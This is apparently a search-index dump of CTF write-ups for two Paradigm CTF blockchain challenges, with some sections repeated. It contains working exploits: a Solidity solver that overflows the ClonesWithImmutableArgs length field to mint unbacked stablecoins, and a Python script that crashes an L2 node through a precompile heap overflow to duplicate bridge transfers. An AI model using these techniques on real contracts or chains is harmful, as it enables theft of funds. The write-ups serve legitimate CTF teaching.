( configuration . getAccountManager ()). migrateAccount { value : address ( this ). balance }( newOwner , newRecoveryAccounts , currentDebt ); } } AccountManager.sol import \"@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol\" ; import \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" ; import \"./Account.sol\" ; import \"./Stablecoin.sol\" ; contract AccountManager { using ClonesWithImmutableArgs for address ; SystemConfiguration private immutable SYSTEM_CONFIGURATION ; mapping ( Account => bool ) public validAccounts ; constructor ( SystemConfiguration configuration ) { SYSTEM_CONFIGURATION = configuration ; } modifier onlyValidAccount ( Account account ) { require ( validAccounts [ account ], \"INVALID_ACCOUNT\" ); _ ; } function openAccount ( address owner , address [] calldata recoveryAddresses ) external returns ( Account ) { return _openAccount ( owner , recoveryAddresses ); } function migrateAccount ( address owner , address [] calldata recoveryAddresses , uint256 debt ) external payable returns ( Account ) { Account account = _openAccount ( owner , recoveryAddresses ); account . deposit { value : msg . value }(); account . increaseDebt ( owner , debt , \"account migration\" ); return account ; } function _openAccount ( address owner , address [] calldata recoveryAddresses ) private returns ( Account ) { Account account = Account ( SYSTEM_CONFIGURATION . getAccountImplementation (). clone ( abi . encodePacked ( SYSTEM_CONFIGURATION , owner , recoveryAddresses . length , recoveryAddresses ) ) ); validAccounts [ account ] = true ; return account ; } function mintStablecoins ( Account account , uint256 amount , string calldata memo ) external onlyValidAccount ( account ) { account . increaseDebt ( msg . sender , amount , memo ); Stablecoin ( SYSTEM_CONFIGURATION . getStablecoin ()). mint ( msg . sender , amount ); } function burnStablecoins ( Account account , uint256 amount , string calldata memo ) external onlyValidAccount ( account ) { account . decreaseDebt ( amount , memo ); Stablecoin ( SYSTEM_CONFIGURATION . getStablecoin ()). burn ( msg . sender , amount ); } } src/Stablecoin.sol import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"./SystemConfiguration.sol\" ; contract Stablecoin is ERC20 ( \"US Dollar Stablecoin\" , \"USDS\" ) { SystemConfiguration private immutable SYSTEM_CONFIGURATION ; constructor ( SystemConfiguration configuration ) { SYSTEM_CONFIGURATION = configuration ; } function mint ( address to , uint256 amount ) external { require ( SYSTEM_CONFIGURATION . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); _mint ( to , amount ); } function burn ( address from , uint256 amount ) external { require ( SYSTEM_CONFIGURATION . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); _burn ( from , amount ); } } Solution \u00b6 The challenge is solved if the total supply of Stablecoin is greater than \\(10^{12} \\times 10^{18}\\) Accounts authorized by the SystemConfiguration contract can mint stable coins. Only the owner of SystemConfiguration can update system contracts (i.e. authorized accounts) and the AccountManager contract is the only authorized contract In the AccountManager contract, only valid accounts can mint stable coins. Meanwhile, the debt on the account will increase function mintStablecoins ( Account account , uint256 amount , string calldata memo ) external onlyValidAccount ( account ) { account . increaseDebt ( msg . sender , amount , memo ); Stablecoin ( SYSTEM_CONFIGURATION . getStablecoin ()). mint ( msg . sender , amount ); } In the increaseDebt() function, if the account is not healthy after the debt is increased, the transaction will fail. However, the player don't have enough ETH to mint \\(10^{12}\\) stable coins and keep the account healthy function increaseDebt ( address operator , uint256 amount , string calldata memo ) external { ... require ( isHealthy ( 0 , amount ), \"NOT_HEALTHY\" ); debt += amount ; ... } function isHealthy ( uint256 collateralDecrease , uint256 debtIncrease ) public view returns ( bool ) { ... uint256 totalBalance = address ( this ). balance - collateralDecrease ; ... return totalBalance * ethPrice / 1e8 >= totalDebt * configuration . getCollateralRatio () / 10000 ; } Notice that AccountManager uses ClonesWithImmutableArgs to create new accounts. When interacting with the Account , the immutable arguments will be read from calldata, saving gas costs. However, there's a comment in the ClonesWithImmutableArgs /// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length Since the immutable arguments are stored in the code region of the created proxy contract, the code size will be calculated based on the data length during the deployment. However, the code size that should be returned is also stored in 2 bytes. Therefore, if runSize exceeds 65535 bytes, a broken contract may be deployed. We can then treat increaseDebt() as a phantom function and ignore the call uint256 extraLength = data . length + 2 ; // +2 bytes for telling how much data there is appended to the call uint256 creationSize = 0x43 + extraLength ; uint256 runSize = creationSize - 11 ; ... // solhint-disable-next-line no-inline-assembly assembly { ptr := mload ( 0x40 ) // ------------------------------------------------------------------------------------------------------------- // CREATION (11 bytes) // ------------------------------------------------------------------------------------------------------------- // 3d | RETURNDATASIZE | 0 | \u2013 // 61 runtime | PUSH2 runtime (r) | r 0 | \u2013 mstore ( ptr , 0x3d61000000000000000000000000000000000000000000000000000000000000 ) mstore ( add ( ptr , 0x02 ), shl ( 240 , runSize )) // size of the contract running bytecode (16 bits) The existing arguments length is 20 + 20 + 32 = 72 bytes and the length of encoded recoveryAddresses will be a multiple of 32 bytes function _openAccount ( address owner , address [] calldata recoveryAddresses ) private returns ( Account ) { Account account = Account ( SYSTEM_CONFIGURATION . getAccountImplementation (). clone ( abi . encodePacked ( SYSTEM_CONFIGURATION , owner , recoveryAddresses . length , recoveryAddresses ) ) ); validAccounts [ account ] = true ; return account ; } Exploit \u00b6 contract Solve is CTFSolver { function solve ( address challenge_ , address player ) internal override { Challenge challenge = Challenge ( challenge_ ); AccountManager manager = AccountManager ( challenge . SYSTEM_CONFIGURATION (). getAccountManager ()); // 72 + 2044 * 32 + 2 + 0x43 - 11 = 65538 => 65538 % 65536 = 2 Account account = manager . openAccount ( player , new address []( 2044 )); manager . mintStablecoins ( account , 2 _000_000_000_000 ether , \"\" ); require ( challenge . isSolved ()); } } Flag \u00b6 PCTF{0V3RFl0W5_WH3r3_Y0u_L3a57_3xp3C7_17}","title":"Dai++"},{"location":"blockchain/paradigm/dai_plus_plus/#description","text":"MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn't be any bugs here. Deploy.s.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"forge-ctf/CTFDeployment.sol\" ; import \"../src/Challenge.sol\" ; import \"../src/SystemConfiguration.sol\" ; import { Account as Acct } from \"../src/Account.sol\" ; contract Deploy is CTFDeployment { function deploy ( address system , address ) internal override returns ( address challenge ) { vm . startBroadcast ( system ); SystemConfiguration configuration = new SystemConfiguration (); AccountManager manager = new AccountManager ( configuration ); configuration . updateAccountManager ( address ( manager )); configuration . updateStablecoin ( address ( new Stablecoin ( configuration ))); configuration . updateAccountImplementation ( address ( new Acct ())); configuration . updateEthUsdPriceFeed ( 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419 ); configuration . updateSystemContract ( address ( manager ), true ); challenge = address ( new Challenge ( configuration )); vm . stopBroadcast (); } } src/Challenge.sol // SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8.13 ; import \"../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol\" ; import \"./SystemConfiguration.sol\" ; contract Challenge { SystemConfiguration public immutable SYSTEM_CONFIGURATION ; constructor ( SystemConfiguration configuration ) { SYSTEM_CONFIGURATION = configuration ; } function isSolved () external view returns ( bool ) { return IERC20 ( SYSTEM_CONFIGURATION . getStablecoin ()). totalSupply () > 1 _000_000_000_000 ether ; } } src/SystemConfiguration.sol import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"./Account.sol\" ; contract SystemConfiguration is Ownable { address private accountImplementation ; address private ethUsdPriceFeed ; address private accountManager ; address private stablecoin ; uint256 private collateralRatio ; mapping ( address => bool ) private _systemContracts ; constructor () { collateralRatio = 15000 ; } function updateAccountImplementation ( address newImplementation ) external onlyOwner { accountImplementation = newImplementation ; } function updateEthUsdPriceFeed ( address newPriceFeed ) external onlyOwner { ethUsdPriceFeed = newPriceFeed ; } function updateStablecoin ( address newStablecoin ) external onlyOwner { stablecoin = newStablecoin ; } function updateAccountManager ( address newAccountManager ) external onlyOwner { accountManager = newAccountManager ; } function updateCollateralRatio ( uint256 newRatio ) external onlyOwner { collateralRatio = newRatio ; } function updateSystemContract ( address target , bool authorized ) external onlyOwner { _systemContracts [ target ] = authorized ; } function getAccountImplementation () external view returns ( address ) { return accountImplementation ; } function getEthUsdPriceFeed () external view returns ( address ) { return ethUsdPriceFeed ; } function getCollateralRatio () external view returns ( uint256 ) { return collateralRatio ; } function getStablecoin () external view returns ( address ) { return stablecoin ; } function getAccountManager () external view returns ( address ) { return accountManager ; } function isAuthorized ( address who ) external view returns ( bool ) { return _systemContracts [ who ]; } } src/Account.sol import \"@clones-with-immutable-args/src/Clone.sol\" ; import \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" ; import \"@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol\" ; import \"./SystemConfiguration.sol\" ; import \"./AccountManager.sol\" ; contract Account is Clone { event DebtIncreased ( uint256 amount , string memo ); event DebtDecreased ( uint256 amount , string memo ); uint256 private debt ; function deposit () external payable {} function withdraw ( uint256 amount ) external { require ( msg . sender == _getArgAddress ( 20 ), \"ONLY_ACCOUNT_HOLDER\" ); require ( isHealthy ( amount , 0 ), \"NOT_HEALTHY\" ); ( bool ok ,) = payable ( msg . sender ). call { value : amount }( hex \"\" ); require ( ok , \"TRANSFER_FAILED\" ); } function increaseDebt ( address operator , uint256 amount , string calldata memo ) external { SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); require ( configuration . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); require ( operator == _getArgAddress ( 20 ), \"ONLY_ACCOUNT_HOLDER\" ); require ( isHealthy ( 0 , amount ), \"NOT_HEALTHY\" ); debt += amount ; emit DebtIncreased ( amount , memo ); } function decreaseDebt ( uint256 amount , string calldata memo ) external { SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); require ( configuration . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); debt -= amount ; emit DebtDecreased ( amount , memo ); } function isHealthy ( uint256 collateralDecrease , uint256 debtIncrease ) public view returns ( bool ) { SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); uint256 totalBalance = address ( this ). balance - collateralDecrease ; uint256 totalDebt = debt + debtIncrease ; (, int256 ethPriceInt ,,,) = AggregatorV3Interface ( configuration . getEthUsdPriceFeed ()). latestRoundData (); if ( ethPriceInt <= 0 ) return false ; uint256 ethPrice = uint256 ( ethPriceInt ); return totalBalance * ethPrice / 1e8 >= totalDebt * configuration . getCollateralRatio () / 10000 ; } function recoverAccount ( address newOwner , address [] memory newRecoveryAccounts , bytes [] memory signatures ) external returns ( Account ) { require ( isHealthy ( 0 , 0 ), \"UNHEALTHY_ACCOUNT\" ); bytes32 signHash = keccak256 ( abi . encodePacked ( block . chainid , _getArgAddress ( 20 ), newOwner , newRecoveryAccounts )); uint256 numRecoveryAccounts = _getArgUint256 ( 40 ); require ( signatures . length == numRecoveryAccounts , \"INCORRECT_LENGTH\" ); for ( uint256 i = 0 ; i < numRecoveryAccounts ; i ++ ) { require ( SignatureChecker . isValidSignatureNow ( _getArgAddress ( 72 + 32 * i ), signHash , signatures [ i ]), \"INVALID_SIGNATURE\" ); } SystemConfiguration configuration = SystemConfiguration ( _getArgAddress ( 0 )); uint256 currentDebt = debt ; debt = 0 ; return AccountManager ( configuration . getAccountManager ()). migrateAccount { value : address ( this ). balance }( newOwner , newRecoveryAccounts , currentDebt ); } } AccountManager.sol import \"@clones-with-immutable-args/src/ClonesWithImmutableArgs.sol\" ; import \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" ; import \"./Account.sol\" ; import \"./Stablecoin.sol\" ; contract AccountManager { using ClonesWithImmutableArgs for address ; SystemConfiguration private immutable SYSTEM_CONFIGURATION ; mapping ( Account => bool ) public validAccounts ; constructor ( SystemConfiguration configuration ) { SYSTEM_CONFIGURATION = configuration ; } modifier onlyValidAccount ( Account account ) { require ( validAccounts [ account ], \"INVALID_ACCOUNT\" ); _ ; } function openAccount ( address owner , address [] calldata recoveryAddresses ) external returns ( Account ) { return _openAccount ( owner , recoveryAddresses ); } function migrateAccount ( address owner , address [] calldata recoveryAddresses , uint256 debt ) external payable returns ( Account ) { Account account = _openAccount ( owner , recoveryAddresses ); account . deposit { value : msg . value }(); account . increaseDebt ( owner , debt , \"account migration\" ); return account ; } function _openAccount ( address owner , address [] calldata recoveryAddresses ) private returns ( Account ) { Account account = Account ( SYSTEM_CONFIGURATION . getAccountImplementation (). clone ( abi . encodePacked ( SYSTEM_CONFIGURATION , owner , recoveryAddresses . length , recoveryAddresses ) ) ); validAccounts [ account ] = true ; return account ; } function mintStablecoins ( Account account , uint256 amount , string calldata memo ) external onlyValidAccount ( account ) { account . increaseDebt ( msg . sender , amount , memo ); Stablecoin ( SYSTEM_CONFIGURATION . getStablecoin ()). mint ( msg . sender , amount ); } function burnStablecoins ( Account account , uint256 amount , string calldata memo ) external onlyValidAccount ( account ) { account . decreaseDebt ( amount , memo ); Stablecoin ( SYSTEM_CONFIGURATION . getStablecoin ()). burn ( msg . sender , amount ); } } src/Stablecoin.sol import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"./SystemConfiguration.sol\" ; contract Stablecoin is ERC20 ( \"US Dollar Stablecoin\" , \"USDS\" ) { SystemConfiguration private immutable SYSTEM_CONFIGURATION ; constructor ( SystemConfiguration configuration ) { SYSTEM_CONFIGURATION = configuration ; } function mint ( address to , uint256 amount ) external { require ( SYSTEM_CONFIGURATION . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); _mint ( to , amount ); } function burn ( address from , uint256 amount ) external { require ( SYSTEM_CONFIGURATION . isAuthorized ( msg . sender ), \"NOT_AUTHORIZED\" ); _burn ( from , amount ); } }","title":"Description"},{"location":"blockchain/paradigm/dai_plus_plus/#solution","text":"The challenge is solved if the total supply of Stablecoin is greater than \\(10^{12} \\times 10^{18}\\) Accounts authorized by the SystemConfiguration contract can mint stable coins. Only the owner of SystemConfiguration can update system contracts (i.e. authorized accounts) and the AccountManager contract is the only authorized contract In the AccountManager contract, only valid accounts can mint stable coins. Meanwhile, the debt on the account will increase function mintStablecoins ( Account account , uint256 amount , string calldata memo ) external onlyValidAccount ( account ) { account . increaseDebt ( msg . sender , amount , memo ); Stablecoin ( SYSTEM_CONFIGURATION . getStablecoin ()). mint ( msg . sender , amount ); } In the increaseDebt() function, if the account is not healthy after the debt is increased, the transaction will fail. However, the player don't have enough ETH to mint \\(10^{12}\\) stable coins and keep the account healthy function increaseDebt ( address operator , uint256 amount , string calldata memo ) external { ... require ( isHealthy ( 0 , amount ), \"NOT_HEALTHY\" ); debt += amount ; ... } function isHealthy ( uint256 collateralDecrease , uint256 debtIncrease ) public view returns ( bool ) { ... uint256 totalBalance = address ( this ). balance - collateralDecrease ; ... return totalBalance * ethPrice / 1e8 >= totalDebt * configuration . getCollateralRatio () / 10000 ; } Notice that AccountManager uses ClonesWithImmutableArgs to create new accounts. When interacting with the Account , the immutable arguments will be read from calldata, saving gas costs. However, there's a comment in the ClonesWithImmutableArgs /// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length Since the immutable arguments are stored in the code region of the created proxy contract, the code size will be calculated based on the data length during the deployment. However, the code size that should be returned is also stored in 2 bytes. Therefore, if runSize exceeds 65535 bytes, a broken contract may be deployed. We can then treat increaseDebt() as a phantom function and ignore the call uint256 extraLength = data . length + 2 ; // +2 bytes for telling how much data there is appended to the call uint256 creationSize = 0x43 + extraLength ; uint256 runSize = creationSize - 11 ; ... // solhint-disable-next-line no-inline-assembly assembly { ptr := mload ( 0x40 ) // ------------------------------------------------------------------------------------------------------------- // CREATION (11 bytes) // ------------------------------------------------------------------------------------------------------------- // 3d | RETURNDATASIZE | 0 | \u2013 // 61 runtime | PUSH2 runtime (r) | r 0 | \u2013 mstore ( ptr , 0x3d61000000000000000000000000000000000000000000000000000000000000 ) mstore ( add ( ptr , 0x02 ), shl ( 240 , runSize )) // size of the contract running bytecode (16 bits) The existing arguments length is 20 + 20 + 32 = 72 bytes and the length of encoded recoveryAddresses will be a multiple of 32 bytes function _openAccount ( address owner , address [] calldata recoveryAddresses ) private returns ( Account ) { Account account = Account ( SYSTEM_CONFIGURATION . getAccountImplementation (). clone ( abi . encodePacked ( SYSTEM_CONFIGURATION , owner , recoveryAddresses . length , recoveryAddresses ) ) ); validAccounts [ account ] = true ; return account ; }","title":"Solution"},{"location":"blockchain/paradigm/dai_plus_plus/#exploit","text":"contract Solve is CTFSolver { function solve ( address challenge_ , address player ) internal override { Challenge challenge = Challenge ( challenge_ ); AccountManager manager = AccountManager ( challenge . SYSTEM_CONFIGURATION (). getAccountManager ()); // 72 + 2044 * 32 + 2 + 0x43 - 11 = 65538 => 65538 % 65536 = 2 Account account = manager . openAccount ( player , new address []( 2044 )); manager . mintStablecoins ( account , 2 _000_000_000_000 ether , \"\" ); require ( challenge . isSolved ()); } }","title":"Exploit"},{"location":"blockchain/paradigm/dai_plus_plus/#flag","text":"PCTF{0V3RFl0W5_WH3r3_Y0u_L3a57_3xp3C7_17}","title":"Flag"},{"location":"blockchain/paradigm/enterprise_blockchain/","tags":["smart contract","cross chain","revm","precompiled contract","state override set","infrastructure"],"text":"#smart contract #cross chain #revm #precompiled contract #state override set #infrastructure .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 Smart Contract Solutions is proud to introduce the only Enterprise Blockchain that you'll ever need. Challenge Files Solution \u00b6 There are two chains and the challenge is deployed on the layer 1 chain. Initially, there are 100 FlagTokens (18 decimals) in the l1Bridge. The objective of this challenge is to pull at least 10 FlagTokens from the l1Bridge vm . createSelectFork ( vm . envString ( \"L1_RPC\" )); vm . startBroadcast ( system ); Bridge l1Bridge = new Bridge ( relayer ); FlagToken flagToken = new FlagToken ( address ( l1Bridge ), player ); challenge = address ( new Challenge ( address ( l1Bridge ), address ( flagToken ))); vm . stopBroadcast (); Users can transfer funds between chains via the bridge. The relayer will listen to the SendRemoteMessage event in both chains and relay messages to the target chain if log . event == \"SendRemoteMessage\" : try : if _dst_chain_id == log . args [ \"targetChainId\" ]: tx_hash = dst_bridge . functions . relayMessage ( log . args [ \"targetAddress\" ], _src_chain_id , log . args [ \"sourceAddress\" ], log . args [ \"msgValue\" ], log . args [ \"msgNonce\" ], log . args [ \"msgData\" ], ) . transact () function relayMessage ( address _targetAddress , uint256 _sourceChainId , address _sourceAddress , uint256 _value , uint256 _nonce , bytes calldata _message ) external onlyRelayer { ... ( bool success , bytes memory result ) = _targetAddress . call { value : _value }( _message ); require ( success , string ( result )); ... } To emit a SendRemoteMessage event, we can call sendRemoteMessage() function and the transaction to be executed on the other chain can be customized function sendRemoteMessage ( uint256 _targetChainId , address _targetAddress , bytes calldata _message ) public payable { require ( _targetChainId != block . chainid , \"C\" ); require ( _targetAddress != address ( 0 ), \"A\" ); emit SendRemoteMessage ( _targetChainId , _targetAddress , msg . sender , msg . value , msgNonce , _message ); unchecked { ++ msgNonce ; } } Since L2 RPC is also provided and the player has some ethers, we can send a remote message from L2 to L1 and transfer tokens from l1Bridge to users l2Bridge . sendRemoteMessage ( 78704 , address ( flagToken ), abi . encodeWithSignature ( \"transfer(address,uint256)\" , player , 50 ether ) ) However, the sendRemoteMessage() function is not intended to be public and it is expected to only use ethOut() / ERC20Out() to transfer funds between chains :< The above is an unintended solution lol A SimpleMultiSigGov is deployed at 0x31337 on the L2 chain. It can be used to interact with the precompiled contract ADMIN at 1337 # deploy multisig anvil_setCodeFromFile ( l2_web3 , \"0x0000000000000000000000000000000000031337\" , \"MultiSig.sol:SimpleMultiSigGov\" , ) The precompiled contract ADMIN has a function fn_dump_state() , operations in which may cause undefined behavior. First, x.len() should be greater than 0x10 , otherwise the program will panic with index out of bounds when i == x.len() . states is a raw pointer to slices &[u8] and a slice is 16 bytes on an x86-64. The count of states.offset is in units of a slice. Since the maximum of i is 0x10 , the minimum memory that should be allocated is 0x110 (16 * (0x10 + 1)) instead of 0x100 . Thus, if x.len() is greater than 0x10 , the program will write to unallocated memory states.offset(0x10) fn fn_dump_state ( x : & [ u8 ]) -> u64 { unsafe { let states : * mut & [ u8 ] = libc :: malloc ( 0x100 ) as * mut & [ u8 ]; let mut i = 0 ; while i <= x . len () && i <= 0x10 { states . offset ( i as isize ). write_bytes ( x [ i ], 1 as usize ); i += 1 ; } let mut file = fs :: OpenOptions :: new () . create ( true ) . write ( true ) . open ( \"/tmp/dump-state\" ). unwrap (); let _ = file . write_all ( &* states ); libc :: free ( states as * mut libc :: c_void ); } return 0 u64 ; } Calling fn_dump_state() when x.len() > 0x10 will kill the L2 node. The anvil service will soon restart and load the state from the previously dumped state The state dump interval is 5 seconds, but the relayer will relay the message as long as it catches the SendRemoteMessage event. If the L2 node goes down when new cross-chain transfer transactions have been included in a block but the latest state has not yet been dumped, the message will be relayed to L1 while the state of L2 can only be restored to the state before the transfer occurred. In this case, users can transfer funds to L1 without spending any in L2 :O def format_anvil_args ( args : LaunchAnvilInstanceArgs , anvil_id : str , port : int = 8545 ) -> List [ str ]: ... cmd_args += [ \"--state\" , f \"/data/ { anvil_id } -state.json\" ] cmd_args += [ \"--state-interval\" , \"5\" ] Only the SimpleMultiSigGov at 0x31337 can interact with the ADMIN , but we can't obtain any valid signatures to let it execute transactions. Alternatively, we can leverage the state override set to ephemerally override the code at 0x31337 and simulate the call The admin_func_run() function is the entry point of ADMIN . To invoke the fn_dump_state() function, the first two bytes should be 0x0204 pub const ADMIN : PrecompileAddress = PrecompileAddress ( crate :: u64_to_address ( 1337 ), Precompile :: Context ( admin_func_run ), ); fn fn_reload_runtime_config ( rest : & [ u8 ], _context : & CallContext ) -> u64 { if rest . len () == 0 { return 1 u64 } else { return match ConfigKind :: from_u8 ( rest [ 0 ]) { .. . ConfigKind :: DumpState => fn_dump_state ( & rest [ 1 .. ]), _ => 1 u64 }; } } fn admin_func_run ( i : & [ u8 ], target_gas : u64 , context : & CallContext ) -> PrecompileResult { .. . if gas_base != target_gas { return Err ( Error :: OutOfGas ); } if i . len () == 0 || ! is_multisig ( & context ) { return Err ( Error :: EnterpriseHalt ); } let out = match AdminCallKind :: from_u8 ( i [ 0 ]) { AdminCallKind :: EmergencyStop => fn_emergency_stop ( & i [ 1 .. ], context ), AdminCallKind :: ReloadRuntimeConfig => fn_reload_runtime_config ( & i [ 1 .. ], context ), AdminCallKind :: Mint => fn_mint ( & i [ 1 .. ], context ), AdminCallKind :: Burn => fn_burn ( & i [ 1 .. ], context ), AdminCallKind :: Unknown => u64 :: MAX }; .. . } pub enum AdminCallKind { EmergencyStop = 1 , ReloadRuntimeConfig = 2 , Mint = 3 , Burn = 4 , Unknown , } Solution \u00b6 import pwn from time import sleep from cheb3 import Connection from cheb3.utils import compile_sol , encode_with_signature , decode_data bridge_abi , _ = compile_sol ( \"\"\" interface IBridge { function remoteTokenToLocalToken(address) external view returns (address); function ERC20Out(address token, address to, uint256 amount) external; } \"\"\" , solc_version = \"0.8.20\" , )[ \"IBridge\" ] flag_token_abi , _ = compile_sol ( \"\"\" interface IFlagToken { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } \"\"\" , solc_version = \"0.8.20\" , )[ \"IFlagToken\" ] HOST = \"localhost\" PORT = 1337 svr = pwn . remote ( HOST , PORT ) svr . sendlineafter ( b \"action?\" , b \"1\" ) svr . recvuntil ( b \"rpc endpoints:\" ) l1 = Connection ( svr . recvline_contains ( b \"l1\" ) . replace ( b \"-\" , b \"\" ) . strip () . decode ()) l2 = Connection ( svr . recvline_contains ( b \"l2\" ) . replace ( b \"-\" , b \"\" ) . strip () . decode ()) priv = svr . recvline_contains ( b \"private\" ) . split ( b \":\" )[ - 1 ] . strip () . decode () setup = svr . recvline_contains ( b \"challenge\" ) . split ( b \":\" )[ - 1 ] . strip () . decode () svr . close () l1account = l1 . account ( priv ) l2account = l2 . account ( priv ) bridge = decode_data ( l1account . call ( setup , data = encode_with_signature ( \"BRIDGE()\" )), [ \"address\" ] ) l1bridge = l1 . contract ( l1account , address = bridge , abi = bridge_abi ) l2bridge = l2 . contract ( l2account , address = bridge , abi = bridge_abi ) flag_token_addr = decode_data ( l1account . call ( setup , data = encode_with_signature ( \"FLAG_TOKEN()\" )), [ \"address\" ] ) flag_token = l1 . contract ( l1account , address = flag_token_addr , abi = flag_token_abi ) # Transfer FlagTokens from L1 to L2 flag_token . functions . approve ( bridge , int ( 1e18 )) . send_transaction () l1bridge . functions . ERC20Out ( flag_token_addr , l2account . address , int ( 1e18 ) ) . send_transaction () # Waiting for message to be relayed sleep ( 2 ) l2token = l2bridge . caller . remoteTokenToLocalToken ( flag_token_addr ) # Waiting for the latest state to be dumped sleep ( 5 ) # Transfer FlagTokens from L2 to L1 for i in range ( 100 ): balance = flag_token . caller . balanceOf ( bridge ) print ( f \"FlagToken balance of l1Bridge: { balance } \" ) if balance < int ( 90e18 ): break l2balance = decode_data ( l2account . call ( l2token , data = encode_with_signature ( \"balanceOf(address)\" , l2account . address ), ), [ \"uint256\" ], ) print ( f \"FlagToken L2 balance of player: { l2balance } \" ) l2bridge . functions . ERC20Out ( l2token , l1account . address , int ( 5e17 ) - i # avoid same relay message hash ) . send_transaction () # Waiting for message to be relayed sleep ( 2 ) while True : try : # Kill the L2 node l2account . call ( \"0x0000000000000000000000000000000000031337\" , state_override = { \"0x0000000000000000000000000000000000031337\" : { # address(1337).staticcall{gas: 2000}(abi.encodePacked(hex\"0204\", new bytes(0x11))) \"code\" : \"0x6002600053600460015360006000601360006105396107d0fa\" }, }, ) continue except : # Waiting for L2 node to restart sleep ( 5 ) break svr = pwn . remote ( HOST , PORT ) svr . sendlineafter ( b \"action?\" , b \"3\" ) svr . interactive () Flag \u00b6 PCTF{57473_0V3RR1d35_90_8RR} References \u00b6 rust - Unexpected segfault when working with raw pointers - Stack Overflow Arrays and Slices - Rust By Example pointer - Rust eth_call - Ethereum","title":"Enterprise Blockchain"},{"location":"blockchain/paradigm/enterprise_blockchain/#description","text":"Smart Contract Solutions is proud to introduce the only Enterprise Blockchain that you'll ever need. Challenge Files","title":"Description"},{"location":"blockchain/paradigm/enterprise_blockchain/#solution","text":"There are two chains and the challenge is deployed on the layer 1 chain. Initially, there are 100 FlagTokens (18 decimals) in the l1Bridge. The objective of this challenge is to pull at least 10 FlagTokens from the l1Bridge vm . createSelectFork ( vm . envString ( \"L1_RPC\" )); vm . startBroadcast ( system ); Bridge l1Bridge = new Bridge ( relayer ); FlagToken flagToken = new FlagToken ( address ( l1Bridge ), player ); challenge = address ( new Challenge ( address ( l1Bridge ), address ( flagToken ))); vm . stopBroadcast (); Users can transfer funds between chains via the bridge. The relayer will listen to the SendRemoteMessage event in both chains and relay messages to the target chain if log . event == \"SendRemoteMessage\" : try : if _dst_chain_id == log . args [ \"targetChainId\" ]: tx_hash = dst_bridge . functions . relayMessage ( log . args [ \"targetAddress\" ], _src_chain_id , log . args [ \"sourceAddress\" ], log . args [ \"msgValue\" ], log . args [ \"msgNonce\" ], log . args [ \"msgData\" ], ) . transact () function relayMessage ( address _targetAddress , uint256 _sourceChainId , address _sourceAddress , uint256 _value , uint256 _nonce , bytes calldata _message ) external onlyRelayer { ... ( bool success , bytes memory result ) = _targetAddress . call { value : _value }( _message ); require ( success , string ( result )); ... } To emit a SendRemoteMessage event, we can call sendRemoteMessage() function and the transaction to be executed on the other chain can be customized function sendRemoteMessage ( uint256 _targetChainId , address _targetAddress , bytes calldata _message ) public payable { require ( _targetChainId != block . chainid , \"C\" ); require ( _targetAddress != address ( 0 ), \"A\" ); emit SendRemoteMessage ( _targetChainId , _targetAddress , msg . sender , msg . value , msgNonce , _message ); unchecked { ++ msgNonce ; } } Since L2 RPC is also provided and the player has some ethers, we can send a remote message from L2 to L1 and transfer tokens from l1Bridge to users l2Bridge . sendRemoteMessage ( 78704 , address ( flagToken ), abi . encodeWithSignature ( \"transfer(address,uint256)\" , player , 50 ether ) ) However, the sendRemoteMessage() function is not intended to be public and it is expected to only use ethOut() / ERC20Out() to transfer funds between chains :< The above is an unintended solution lol A SimpleMultiSigGov is deployed at 0x31337 on the L2 chain. It can be used to interact with the precompiled contract ADMIN at 1337 # deploy multisig anvil_setCodeFromFile ( l2_web3 , \"0x0000000000000000000000000000000000031337\" , \"MultiSig.sol:SimpleMultiSigGov\" , ) The precompiled contract ADMIN has a function fn_dump_state() , operations in which may cause undefined behavior. First, x.len() should be greater than 0x10 , otherwise the program will panic with index out of bounds when i == x.len() . states is a raw pointer to slices &[u8] and a slice is 16 bytes on an x86-64. The count of states.offset is in units of a slice. Since the maximum of i is 0x10 , the minimum memory that should be allocated is 0x110 (16 * (0x10 + 1)) instead of 0x100 . Thus, if x.len() is greater than 0x10 , the program will write to unallocated memory states.offset(0x10) fn fn_dump_state ( x : & [ u8 ]) -> u64 { unsafe { let states : * mut & [ u8 ] = libc :: malloc ( 0x100 ) as * mut & [ u8 ]; let mut i = 0 ; while i <= x . len () && i <= 0x10 { states . offset ( i as isize ). write_bytes ( x [ i ], 1 as usize ); i += 1 ; } let mut file = fs :: OpenOptions :: new () . create ( true ) . write ( true ) . open ( \"/tmp/dump-state\" ). unwrap (); let _ = file . write_all ( &* states ); libc :: free ( states as * mut libc :: c_void ); } return 0 u64 ; } Calling fn_dump_state() when x.len() > 0x10 will kill the L2 node. The anvil service will soon restart and load the state from the previously dumped state The state dump interval is 5 seconds, but the relayer will relay the message as long as it catches the SendRemoteMessage event. If the L2 node goes down when new cross-chain transfer transactions have been included in a block but the latest state has not yet been dumped, the message will be relayed to L1 while the state of L2 can only be restored to the state before the transfer occurred. In this case, 